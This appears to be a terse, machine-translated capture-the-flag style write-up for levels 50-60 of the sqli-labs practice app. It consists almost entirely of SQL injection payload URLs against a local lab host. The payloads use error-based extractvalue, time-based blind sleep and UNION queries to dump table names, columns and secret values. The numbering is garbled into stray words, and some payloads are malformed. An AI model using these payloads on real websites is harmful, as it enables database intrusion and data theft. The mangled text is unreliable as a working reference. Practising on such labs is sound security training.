"20171105 early" sqli-libs less 50-60

Less than 50-60 types of topics have no novel injection methods, essentially injections of the previous type, or compound injections. The old black does not carry on more to repeat, the explanation, will only be the reader's IQ. Payload is shown below

1  Less2 Http://192.168.162.135/sqli-libs/Less-50/?sort=1 and Extractvalue (1, concat (0x7e, Database ()))--+3 Less Wuyi4 http://192.168.162.135/sqli-libs/Less-51/?sort=1 ' and (if (ASCII (left (database (), 1)) =115, Sleep (4), 0))--+5  Less6 Http://192.168.162.135/sqli-libs/Less-52/?sort=1 and (if (ASCII (left (database (), 1)) =115, Sleep (4), 0))--+7  less than8 http://192.168.162.135/sqli-libs/Less-53/?sort=1 ' and (if (ASCII (left (database (), 1)) =115, Sleep (4), 0))--+9  LessTen http://192.168.162.135/sqli-libs/Less-54/?id=-1 ' UNION select 1,2,GROUP_CONCAT (table_name) from Information_ Schema.tables where table_schema= ' challenges '--+ One http://192.168.162.135/sqli-libs/Less-54/?id=-1 ' Union Select, (select Group_concat (column_name) from Information_schema.columns WHERE Table_schema = ' challenges ' and table_name= ' pov9ata70t ')--+ A http://192.168.162.135/sqli-libs/Less-54/?id=-1 ' Union Select, (select Group_concat (id,0x7c,sessid,0x7c, SECRET_Y7BB,0X7C,TRYY) from challenges. pov9ata70t)--+ - http://192.168.162.135/sqli-libs/Less-54/?id=-1 ' Union select 1,version (), Database ()--+ -  Less the http://192.168.162.135/sqli-libs/Less-55/?id=-1) Union SELECT 1,2,GROUP_CONCAT (table_name) from Information_ Schema.tables where table_schema= ' challenges '--+ -  Less - http://192.168.162.135/sqli-libs/Less-56/?id=-1 ') union SELECT 1,2,GROUP_CONCAT (table_name) from Information_ Schema.tables where table_schema= ' challenges '--+ -  Less + http://192.168.162.135/sqli-libs/Less-57/?id=-1 "Union SELECT 1,2,GROUP_CONCAT (table_name) from Information_ Schema.tables where table_schema= ' challenges '--+ -  less than + http://192.168.162.135/sqli-libs/Less-58/?id=-1 ' Union select Extractvalue (1, concat (0x7e, (select Group_concat ( table_name) from Information_schema.tables where table_schema= ' challenges '), 0x7e))--+ A Less : at http://192.168.162.135/sqli-libs/Less-59/?id=-1 Union Select Extractvalue (1, concat (0x7e, (select Group_concat ( table_name) from Information_schema.tables where table_schema= ' challenges '), 0x7e))--+ - Less : -Http://192.168.162.135/sqli-libs/Less-60/?id=-1 ") union Select Extractvalue (1, concat (0x7e, (select Group_concat ( table_name) from Information_schema.tables where table_schema= ' challenges '), 0x7e))--+

　　

"20171105 early" sqli-libs less 50-60